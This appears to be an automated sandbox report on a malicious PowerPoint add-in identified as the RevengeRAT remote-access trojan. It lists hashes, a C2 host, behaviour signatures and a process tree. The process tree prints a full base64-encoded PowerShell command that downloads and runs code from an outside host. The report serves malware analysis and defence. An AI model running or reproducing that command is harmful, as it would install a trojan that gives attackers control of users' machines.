Analysis

  • max time kernel
    39s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    11-05-2023 19:12

General

  • Target

    bee2pay Authy.ppam

  • Size

    17KB

  • MD5

    515ff2344f241cfdb65a08b0c6fa90f9

  • SHA1

    36b640ba2e0c9b6da14364e4b24a960b964b8377

  • SHA256

    f918fb220166f75e3bd9f8cd162b411bfd9ba210f4abe0f9509c5a7bf722a981

  • SHA512

    796fd73c9820ff56456deab07219ad29a25c8231d3c3fe60b2aa73ef3392f548e76eef12256f52a3aa447e251004153cb2c85c01bfda57d758a2a04c52aca44e

  • SSDEEP

    384:dXPgOGHYbeUPGocggolFNXy82T4XIERqzmhb:VPpGHYfGTggol7O44nzW

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\bee2pay Authy.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:928
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:860
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:1244

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/928-64-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/928-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1244-95-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1244-105-0x0000000004920000-0x0000000004960000-memory.dmp
      Filesize

      256KB

    • memory/1244-104-0x0000000004920000-0x0000000004960000-memory.dmp
      Filesize

      256KB

    • memory/1244-103-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1244-101-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1244-99-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1244-98-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/1244-97-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1244-96-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1244-94-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2024-91-0x0000000002540000-0x0000000002558000-memory.dmp
      Filesize

      96KB

    • memory/2024-82-0x0000000002540000-0x0000000002558000-memory.dmp
      Filesize

      96KB

    • memory/2024-83-0x0000000002540000-0x0000000002558000-memory.dmp
      Filesize

      96KB

    • memory/2024-85-0x0000000002540000-0x0000000002558000-memory.dmp
      Filesize

      96KB

    • memory/2024-87-0x0000000002540000-0x0000000002558000-memory.dmp
      Filesize

      96KB

    • memory/2024-89-0x0000000002540000-0x0000000002558000-memory.dmp
      Filesize

      96KB

    • memory/2024-93-0x0000000002540000-0x0000000002558000-memory.dmp
      Filesize

      96KB

    • memory/2024-62-0x00000000027E0000-0x0000000002820000-memory.dmp
      Filesize

      256KB

    • memory/2024-61-0x00000000027E0000-0x0000000002820000-memory.dmp
      Filesize

      256KB